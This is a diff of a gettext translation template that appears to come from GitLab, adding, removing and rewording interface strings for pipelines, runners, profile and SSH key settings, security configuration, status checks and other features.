msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24781,6 +25192,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24799,7 +25213,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -25039,6 +25453,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25399,6 +25816,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25495,9 +25915,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25750,6 +26167,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -26065,9 +26488,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -26197,6 +26617,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -26212,9 +26635,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -26305,10 +26725,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -26449,6 +26869,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26476,9 +26899,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26719,7 +27139,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -27001,7 +27421,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -27022,13 +27442,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -27070,13 +27490,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27406,9 +27829,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27487,6 +27907,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27754,12 +28177,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27829,6 +28258,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27853,6 +28285,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27874,6 +28309,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -28078,6 +28519,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -28285,6 +28729,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -28303,9 +28750,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28666,6 +29119,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28828,6 +29284,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28942,6 +29401,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -29047,9 +29512,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -29221,6 +29683,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -29248,6 +29713,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -29257,6 +29725,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29374,15 +29848,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29398,6 +29872,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29467,6 +29944,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29491,6 +29971,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29686,6 +30169,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29707,6 +30193,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29725,6 +30214,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29803,7 +30295,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29818,6 +30310,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29839,6 +30337,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29878,6 +30379,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29953,6 +30457,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -30277,6 +30784,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -30331,6 +30841,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -30343,6 +30856,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -30364,6 +30880,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30376,12 +30895,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30415,6 +30940,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30424,6 +30952,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30454,12 +30985,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30517,19 +31054,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30610,21 +31153,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -31045,6 +31573,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -31069,6 +31600,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -31117,7 +31651,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -31132,7 +31666,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -31144,7 +31678,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -31204,6 +31738,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -31213,6 +31750,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -31237,6 +31777,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -31306,7 +31852,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -31315,6 +31864,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -31336,6 +31888,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31555,7 +32113,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31588,6 +32146,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31726,6 +32287,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31930,9 +32494,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -32032,7 +32593,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -32044,6 +32614,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -32089,6 +32662,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -32170,6 +32746,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -32227,9 +32806,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -32308,9 +32884,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -32377,6 +32950,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -32392,6 +32986,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -32440,18 +33037,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32824,6 +33412,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32908,9 +33502,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -33187,9 +33778,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -33208,6 +33796,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -33361,9 +33976,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -33508,6 +34120,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33529,7 +34144,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33538,6 +34153,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33559,6 +34177,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33574,6 +34198,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -34567,10 +35194,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34837,7 +35464,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34873,7 +35500,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -35083,9 +35713,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -35218,9 +35845,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -35275,6 +35899,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -35371,9 +35998,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -35386,9 +36010,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35764,6 +36385,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35782,12 +36406,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35836,6 +36454,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35890,12 +36514,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
